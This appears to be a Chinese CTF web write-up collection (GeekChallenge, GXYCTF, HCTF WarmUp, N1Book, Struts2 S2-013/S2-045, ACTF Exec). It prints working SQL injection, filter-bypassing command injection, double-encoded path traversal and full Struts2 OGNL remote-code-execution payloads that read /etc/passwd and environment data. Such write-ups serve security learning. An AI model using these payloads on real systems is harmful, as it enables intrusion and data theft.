WEB
极客大挑战2019-EasySQL
用户名处输入单引号后报错
闭合语句 ’ or 1=1# 后报错,发现#号没有转成url编码,直接用#号闭合,系统会判断为用户没有输入密码
将#号处替换成url编码后的%23即可
' or 1=1%23&password=pwd
极客大挑战2019-Havefun
打开发现啥也没有,检查下网页元素
发现有段注释,使用get传递参数,如果变量$ cat的值为cat则输出该变量,如果变量$cat的值等于dog则输出syc{cat_cat_cat_cat}
在url后输入?cat=pig即可获得flag
GXYCTF2019 Ping Ping Ping
看到页面上提示/?ip=
,可以在url后加上该参数
尝试在ip地址后加上命令
尝试查看flag.php文件,构造语句?ip=127.0.0.1;cat flag.php
好像空格被过滤了
试了几种绕过空格的方法都访问不到flag.php,只能访问到index.php
发现flag也被过滤了
对cat flag.php命令进行base64编码来构造语句
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
$IFS$1 //替换空格
Y2F0IGZsYWcucGhw = cat flag.php
base64 -d //解码数据
sh //执行cat flag.php命令
学习了更方便的方法,内联执行
?ip=127.0.0.1;cat$IFS$1`ls`
以该命令为例,先执行反引号内的命令ls
ls 看到当前目录下有index.php和flag.php
然后输出的结果全都执行单引号前的命令cat
cat index.php
cat flag.php
HCTF2018-WarmUp
页面上就一张图片没什么内容
查看页面元素后发现有段注释 source.php
直接在url后面输入搜索即可
第一眼看到还有个hint.php的文件,说flag不在这
再回到source.php
满足这三个条件后显示include中的内容,不满足则显示滑稽图片
if (! empty($_REQUEST['file']) //判断变量是否为空
&& is_string($_REQUEST['file']) //检测变量是否为字符串
&& emmm::checkFile($_REQUEST['file']) //将值传到emmm类中的checkfile函数里
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$ page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$ page是否存在于$ whitelist数组中,截取$page中’?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$ page是否存在于$ whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
在服务器提取参数时会解码一次,checkfile函数中解码一次,需要将?编码两次得到%253f
?file=source.php%253f../../../../../ffffllllaaaagggg
《从0到1:CTFer成长之路》常见的搜集
找了找没发现什么东西,用dirsearch扫下目录
kali默认不带dirsearch
apt-get install dirsearch
./dirsearch -u http://3ab0a861-bff5-436b-b432-67ff608891ff.node4.buuoj.cn
./dirsearch -u http://3ab0a861-bff5-436b-b432-67ff608891ff.node4.buuoj.cn -o 1.txt //扫描结果输出到1.txt
./dirsearch -u http://3ab0a861-bff5-436b-b432-67ff608891ff.node4.buuoj.cn -w wordlist.txt //使用自选字典扫描
cat 1.txt | grep "200" //查看文件里带有200的信息
可能由于扫描次数过多会导致网站访问异常,所以有的能正常访问的路径可能会被过掉
下载index.php.swp文件可以得到 flag3
访问index.php得到flag2
访问robots.txt得到另外一个路径,访问后得到flag1
根据获得的3个flag拼接后得到最终的flag
flag1:n1book{info_1
flag2:s_v3ry_im
flag3:p0rtant_hack}
flag{info_1s_v3ry_imp0rtant_hack}
《从0到1:CTFer成长之路》粗心的小李
需要用到githack这个工具,查看git泄露
git clone https://github.com/lijiejie/GitHack
下载完后GitHack.py的权限可能不够,需要chmod+x下再运行
chmod +x GitHack.py
./GitHack.py http://1c874b74-0317-4f6e-ae62-1d336f57687d.node4.buuoj.cn/.git/
cd 1c874b74-0317-4f6e-ae62-1d336f57687d.node4.buuoj.cn
进入到githack目录下,运行 ./GitHack.py http://靶机url/.git/
运行后会在该目录下生成一个该url的目录,在域名目录下的index.html文件中找到flag
struts2 s2-013
直接用下poc,需要url编码下
exec(‘ ’) 里的内容为要执行的代码
/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
找下flag,需要通过env命令查看当前用户环境信息来发现
/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
struts2 s2-045
先点击提交,抓包,将下列代码替换content-type的值即可
(#cmd=’ ')里为要执行的命令,还是通过env命令查看当前用户环境信息来查看flag
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#wm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#wm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
ACTF2020 新生赛 Exec 1
一个ping地址的界面,先ping下127.0.0.1
然后执行ls命令
ping 127.0.0.1;ls
发现只有一个文件,查看下当前路径
ping 127.0.0.1;pwd
切换到根目录,发现flag文件
127.0.0.1;ls ../../../
查看flag文件
flag{bbec1dcc-1541-4f77-97c8-c27ac7d866ae}
127.0.0.1;cat /flag